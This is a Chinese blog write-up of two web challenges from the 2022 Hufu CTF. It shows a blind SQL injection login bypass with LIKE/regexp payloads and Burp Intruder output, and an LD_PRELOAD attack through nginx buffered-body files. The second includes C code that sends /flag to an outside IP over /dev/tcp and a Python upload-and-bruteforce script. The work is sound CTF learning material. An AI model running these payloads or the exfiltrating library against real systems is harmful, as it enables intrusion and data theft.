

2022虎符网络安全CTF部分wp（2）

原创

救救直男吧! 于 2022-03-22 09:04:46 发布 599 收藏 2

分类专栏: [2022虎符](#) 文章标签: [web安全](#) [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_20737293/article/details/123643425

版权



[2022虎符 专栏收录该内容](#)

2 篇文章 0 订阅

订阅专栏

Web | babysql

进入靶场查看限制, 发现账号不过滤单引号, 然后开始对密码进行尝试。

后面使用like函数, 用like函数爆出两位特殊字符后, 就开始爆剩下的字符了。

请求	有效载荷	状态	错误	耗时	长
6	f	401			260
32	F	401			260
0	a	500			278
1	b	500			278
2	c	500			278
3	d	500			278
4	e	500			278
5	f	500			278
6	g	500			278
7	h	500			278
8	i	500			278
9	j	500			278
10	k	500			278
11		500			278

通过盲注, 来不断猜测字符。最后得出密码为: m52fp1dxylb^eizar!8gxh\$

payload: username=a%27||`password` like%27m52\$6\$%25%27%26%26` id`=%271%27||`password` regexp' [&password=1

like不区分大小写, 所以还需要爆破大小写转换问题

通过爆破, 2的十八次方, 成功获取正确的payload。

Intruder attack 8

攻击 保存 列

结果 目标 位置 有效载荷 选项

过滤器: 显示所有项目

请求	Payload1	Payload2	Payload3	Payload4	Payload5
0					
1	m	f	p	l	D
2	M	f	p	l	D
3	m	F	p	l	D
4	M	F	p	l	D
5	m	f	P	l	D
6	M	f	P	l	D
7	m	F	P	l	D
8	M	F	P	l	D
9	m	f	p	L	D
10	M	f	p	L	D
11	m	F	p	L	D

请求 响应

Raw 参数 头 Hex

```

POST /login HTTP/1.1
Host: 47.107.231.226:26321
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://47.107.231.226:26321
Connection: close
Referer: http://47.107.231.226:26321/
Upgrade-Insecure-Requests: 1

username='or'14password=m52fpIDxyY1b^e1zAr!8gxh$

```

52028 of 262144

CSDN @救救直男吧!

Result 2007 | Intruder attack 13

Payload 1: m
 Payload 2: F
 Payload 3: P
 Payload 4: l
 Payload 5: D
 Payload 6: x
 Payload 7: Y
 Payload 8: y
 Payload 9: L
 Payload 10: B
 Payload 11: e
 Payload 12: l
 Payload 13: z
 Payload 14: A
 Payload 15: r
 Payload 16: g
 Payload 17: x
 Payload 18: h

Status: 201
 Length: 249
 Timer: 29

请求 响应

Raw 头 Hex Render

```

HTTP/1.1 201 Created
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 44
ETag: W/"2c-YaW1RqLrvv3F3NE602uInafP8Q"
Date: Sun, 20 Mar 2022 04:34:09 GMT
Connection: close

HTTP/1.1 201 Created
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 44
ETag: W/"2c-YaW1RqLrvv3F3NE602uInafP8Q"
Date: Sun, 20 Mar 2022 04:34:09 GMT
Connection: close

```

HTTP/1.1 201 Created

HTTPCTF {22b094bc-714b-4800-b801-37b4292a9243}

CSDN @救救直男吧!

Result 2007 | Intruder attack 13

Payload 1: m
 Payload 2: F
 Payload 3: P
 Payload 4: l
 Payload 5: D
 Payload 6: x
 Payload 7: Y
 Payload 8: y
 Payload 9: L
 Payload 10: B
 Payload 11: e
 Payload 12: l
 Payload 13: z
 Payload 14: A
 Payload 15: r
 Payload 16: g
 Payload 17: x
 Payload 18: h

Status: 201
 Length: 249
 Timer: 29

请求 响应

Raw 头 Hex Render

```

HTTP/1.1 201 Created
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 44
ETag: W/"2c-YaW1RqLrvv3F3NE602uInafP8Q"
Date: Sun, 20 Mar 2022 04:34:09 GMT
Connection: close

HTTP/1.1 201 Created
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 44
ETag: W/"2c-YaW1RqLrvv3F3NE602uInafP8Q"
Date: Sun, 20 Mar 2022 04:34:09 GMT
Connection: close

```

HTTP/1.1 201 Created

HTTPCTF {22b094bc-714b-4800-b801-37b4292a9243}

CSDN @救救直男吧!

密码: m52FPIDxYyLB^e1zAr!8gxh\$

赛后研究发现，like区分大小写的用法：

```
username=b%27|`password`COLLATE%27utf8mb4_0900_as_cs%27like%27m52F$6$%25%27%26%26`id`=
```

这应该是预期解了，使用爆破是非预期

Web | ezphp

参考：

[hxp CTF 2021 - A New Novel LFI - 跳跳糖](#)

<https://tttang.com/archive/1450/>

发现nginx缓存，动态链接加载。只需要想办法写入so文件到nginx缓存就可以了

```
#include <stdlib.h>
#include <string.h>
__attribute__((constructor)) void call ()
{
    unsetenv("LD_PRELOAD");
    char str[65536];
    system("bash -c 'cat /flag' > /dev/tcp/1.13.248.170/8888");
    system("cat /flag > /var/www/html/flag");
}
```

通过linux生成so



在通过py脚本，一直往服务器传写入so文件，之后在URL后面访问flag，得到答案

```

import sys, threading, requests
URL = f'http://120.79.121.132:30399/'
nginx_workers = [12, 13, 14, 15]
done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data=open("C:\\Users\\86137\\Desktop\\py\\libsss.so", "rb").read() + (16*1024*'A'

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/{pid}/fd/{fd}'
            print(f)
            try:
                r = requests.get(URL, params={
                    'env': 'LD_PRELOAD='+f,
                })
                print(r.text)
            except Exception:
                pass

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

```

```

/proc/14/fd/19
hfctf2022

/proc/15/fd/20
hfctf2022

/proc/12/fd/19
hfctf2022

/proc/13/fd/20
hfctf2022

/proc/14/fd/20
hfctf2022

/proc/12/fd/20
hfctf2022

/proc/15/fd/21
hfctf2022

/proc/13/fd/21
hfctf2022

```

CSDN @救救直男吧！

通过URL+/flag得到flag



CSDN @救救直男吧！



[创作打卡挑战赛](#) >
[赢取流量/现金/CSDN周边激励大奖](#)